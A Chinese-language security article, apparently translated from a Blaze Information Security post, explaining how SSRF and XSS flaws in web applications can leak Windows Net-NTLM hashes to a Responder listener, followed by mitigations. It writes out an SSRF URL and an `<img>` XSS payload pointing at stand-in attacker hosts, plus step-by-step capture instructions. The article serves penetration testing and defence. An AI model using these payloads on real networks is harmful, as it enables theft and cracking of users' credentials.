正文

如何利用Web应用漏洞窃取NTLM哈希

admin
admin V管理员 /0 评论 /28 阅读
0318
此篇文章发布距今已超过1149天，您需要注意文章的内容或图片是否可用！

 

一、前言

许多企业网络中经常能看到Windows系统的身影，而NTLM身份认证机制是这些网络中所使用的事实标准。Windows进行NTLM认证时会采用自动化处理过程，许多广为人知的本地攻击方法正是利用这种自动化流程才能成功完成攻击任务，每个渗透测试人员以及红方人员的操作手册中都包含如何滥用这一功能的相关内容。

最近一段时间，Blaze信息安全团队做了些调研，研究如何通过远程方式来利用这一功能，我们更侧重于从Web应用漏洞角度出发研究相关内容。

本文的目标是讨论如何利用诸如SSRF（Server-Side Request Forgery，服务端请求伪造）以及XSS（Cross-Site Scripting，跨站脚本攻击）之类的漏洞来窃取Net-NTLM哈希，攻击者可以使用窃取的这些哈希进一步渗透目标网络。

在本文中，我们假设读者对某些专业术语非常了解，因此不会拓展介绍某些内容，比如NTLM认证的内部工作原理、如何配置及使用某些工具来捕捉Net-NTLM哈希、如何利用XSS以及SSRF漏洞等。

所有实验都经过Blaze信息安全团队的测试，我们所搭建的实验环境包括搭载Windows 10纯净版系统的主机、Windows 7虚拟机以及充当恶意认证服务器的Ubuntu Linux系统。

 

二、关于Windows集成的认证机制

如果你曾在内部企业网络环境中使用过Windows，你会注意到访问企业网络资源的过程非常平滑，除了最开始登录Windows域之外，许多情况下你并不会看到要求输入凭据信息的弹出窗口。对许多服务而言的确如此，比如网络映射驱动器、内部网站等等。

开发者可以使用Windows WinHTTP.aspx)这个高级API来处理HTTP/1.1协议。除了正常功能以外，WinHTTP还可以自动处理认证过程，协商NTLM、Kerberos等认证信息以访问受保护的资源。

在微软的Internet Explorer以及Edge浏览器中，包含信任区域（trusted zones）这样一个概念，其中包括互联网（Internet）、本地内部网（Local Intranet）、受信任的站点（Trusted Sites）以及受限制的站点（Restricted Sites）这几个区域。每个区域都对应不同的安全等级，关联不同的限制条件。比如对于Intranet站点而言，IE会禁用掉XSS过滤器、运行ActiveX插件、执行自动登录过程，总而言之会采用比Internet站点更加宽松的安全控制条件。

默认情况下，当某个Web服务器托管了受NTLM认证保护的资源，如果该站点位于企业内部网络中或者处于Trusted Sites白名单中，那么IE以及Edge会自动处理认证过程，这也与受信区域的概念相符。

其他浏览器（如Mozilla Firefox以及Google Chrome）同样支持自动化NTLM登录过程。Chrome依赖于IE的具体配置情况，而Firefox默认情况下并没有启用这一配置，用户需要访问about:config来手动启用这一功能。

 

三、关于Responder

Responder[1]由Laurent Gaffie开发，这款工具是目前最为流行的一款arsenal渗透测试工具，每个渗透测试人员基本上都会使用该工具来窃取不同形式的凭据信息，其中就包括Net-NTLM哈希。

该工具可以用来搭建一些模拟的恶意环境，如SQL服务器、FTP/HTTP以及SMB服务器等，为了捕获客户端发送的哈希值，该工具可以直接弹出输入凭据的对话框，也可以模拟挑战-响应（challenge-response）认证过程。

Responder也具备污染诸如LLMNR、NBT-NS以及mDNS等协议的能力，但这一部分内容不在本文讨论范围内。

 

四、如何利用Web应用漏洞窃取信息

最近一段时间，我们做了些调查，研究如何进一步利用Web应用中的漏洞来获取目标网络的访问权限，我们的主要依据是，在某些条件下，Windows在请求凭据过程中可能会返回包含NTLM哈希的响应数据。

这里我们要介绍的是Web应用中经常见到的两个漏洞，以及我们如何利用这些漏洞来窃取哈希值，突破目标账户，进而在企业网络中站稳脚跟。

场景#1：从SSRF到哈希窃取

攻击者经常利用SSRF漏洞往其他服务器发送HTTP请求并扫描内部网。实际上，我们也可以使用这个漏洞，迫使存在漏洞的Web应用泄露底层Windows服务器的NTLM哈希。

这里我们构建了存在SSRF漏洞的一个Flask应用，以便更好阐述相关技术细节。这个应用的功能非常简单：它使用了一个URL参数，当攻击者将任何站点（不论该站点为是否为内部站点（http://intranet.corporate）或者外部站点（http://www.blazeinfosec.com））传递给该参数时，该应用都会发送HTTP请求，获取目标资源，并将已获取的数据返回给客户端。

该应用依赖于Python的win32com模块。添加该模块后，开发者可以调用COM对象，使用原生的WinHTTP.WinHTTPRequest来发起HTTP请求，由于其中的SetAutoLoginPolicy参数值设置为0，因此该函数会自动发送凭据信息。

某些框架的URL资源获取功能并没有与Windows紧密集成在一起，因此并不会像这个演示案例那样执行自动登录过程，这一点很重要。然而，Java的URLConnection()以及其他函数可以完成这一任务。

浏览如下URL地址后，我们就能利用这个漏洞，获取用户的Net-NTLM哈希值：

http://127.0.0.1:8000/?url=http://server_listening_responder

在后台处理过程中，会执行如下操作：

1、Windows API会发送一个HTTP请求；

2、服务器（本例中为Responder）会向客户端发送响应数据，响应数据头部中包含WWW-Authenticate: NTLM字段，提示用户使用NTLM进行认证；

3、客户端（本例中为服务器上运行的存在漏洞的Web应用）会响应这个挑战问题，因此攻击者就可以抓取到服务器的Net-NTLM哈希值。

最终的结果就是攻击者成功抓取到Net-NTLM凭据：

虽然Net-NTLM哈希值与NTLM哈希值不同，无法直接应用于哈希传递（Pass-the-Hash，PtH）攻击，但我们可以使用诸如hashcat之类的现成工具来二次开发或者破解这些哈希：

场景#2：利用XSS窃取Net-NTLM哈希

前面我们提到过，当Web服务器要求IE或者Edge使用NTLM凭据时，如果使用的是默认配置，那么浏览器会执行挑战-响应验证过程，并将已登录用户的哈希值发往服务器，当然，前提是目标站点的域名位于企业内部网络中，或者位于Trusted Sites列表中。

当IE自动登录内部网站时，对应的默认配置信息如下所示：

许多情况下，企业会将企业域添加到内部可信站点中，典型例子如下所示：

这意味着如果你对内部网中的某个Web应用做渗透测试，并且你发现该应用存在XSS漏洞，那么你很有可能可以利用这个看似鸡肋的漏洞来窃取哈希值。

比如，攻击者可以诱使企业环境中的用户浏览某个Web页面，该页面包含如下HTML代码：

<html>  
<img src="http://hostname_to_internal_responder">  
</html>

如果Responder搭建的HTTP服务器运行在内部网络中，并且其主机名或者子域名被标记为可信站点（许多场景都满足这一要求），那么IE或者Edge就会自动发送哈希值。

从XSS到窃取NTLM哈希的攻击步骤如下所示：

步骤1：设置Responder，在本地网络中以HTTP模式运行：通常情况下，企业网络中你所使用的IP地址会对应一个反向DNS域名，这意味着你可以拥有一个可用的主机名。

步骤2：在XSS攻击载荷中输入如下类似数据：

<img src="http://hostname_to_internal_responder">

步骤3：等待无辜的受害者上钩，浏览受XSS影响的页面（如果是存储型XSS则会更加方便）。

步骤4：抓取哈希值。

通常情况下，许多企业会将企业子域名所托管的所有数据标记为可信数据。比如，如果*.blazeinfosec.com位于白名单中，那么攻击者只需要搞定*.blazeinfosec.com中的某个服务器，使用该服务器运行Responder，那么就可以通过这种攻击方式，使用该服务器来窃取企业网络中的用户哈希。

如果客户端尝试使用NTLM认证机制连接到HTTP服务器，但目标主机名并不位于IE或者Edge浏览器的可信列表中，那么就会弹出如下对话框，要求用户输入凭据信息。

 

五、缓解措施

本文描述的这类问题并不新颖，实际上这些问题可以归咎于Windows的设计理念。从诞生之日起，NTLM一直采用的是这种认证过程，其中某些漏洞人们已经于20多年前讨论过，然而许多人并没有意识到这些漏洞存在的安全风险。

与此同时，我们还是可以使用各种方法来消除Windows这种缺陷所带来的影响。

比如，我们可以将注册表中HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaMSV1_0路径下的RestrictSendingNTLMTraffic键值设置为2，这样一来，当服务器发起挑战过程时（无论为合法或者非法的服务器），Windows都不会发送NTLMv1或者NTLMv2哈希。

然而，需要注意的是这样设置后可能会破坏正常的系统功能，如果企业网络大量依赖于NTLM来实现自动登录，带来的不便可能会更加明显。

在与SSRF相关的场景中，我们建议不要使用能自动完成NTLM认证的HTTP库。另一种方法是在企业代理网关中设置相应规则，阻止本网络中的节点与外部服务器进行NTLM身份验证。

 

六、总结

如果某个单位依赖于Windows系统以及微软系的其他产品，那么NTLM认证可以给该单位带来极大的便利。如果部署单点登录（single sign-on）机制，用户在访问不同的企业系统时也可以实现无缝过渡，这样既能提升用户的工作效率，也能减少冗余身份认证所带来的负担。

尽管如此，NTLM认证过程依然存在一些安全风险，这些安全风险虽然已有20多年历史，但依然占据一席之地。

对于渗透测试人员而言，找到SSRF漏洞后，可以考虑将其指向运行Responder监听器的某个服务器。一旦通过这种方法获取到NTLMv1或者NTLMv2哈希值，就有可能进一步渗透目标网络。

开发者以及风险评估人员不应低估内部应用中XSS漏洞所能带来的安全风险。大家应该重新回顾内部应用的错误跟踪日志，分析其中包含XSS漏洞、带有WONT_FIX标识的错误信息，妥善解决这些问题。因为除了简单弹出对话窗口以及窃取会话cookie之外，这些问题还可以带来更严重的后果。

当然，将看似鸡肋的XSS漏洞转化为能在企业网络中实际使用的攻击方法本身就是一件非常有意义的事情。

 

七、参考资料

[1] https://github.com/lgandx/Responder
[2] https://msdn.microsoft.com/en-us/library/ms775123%28v=vs.85%29.aspx
[3] https://github.com/blazeinfosec/ssrf-ntlm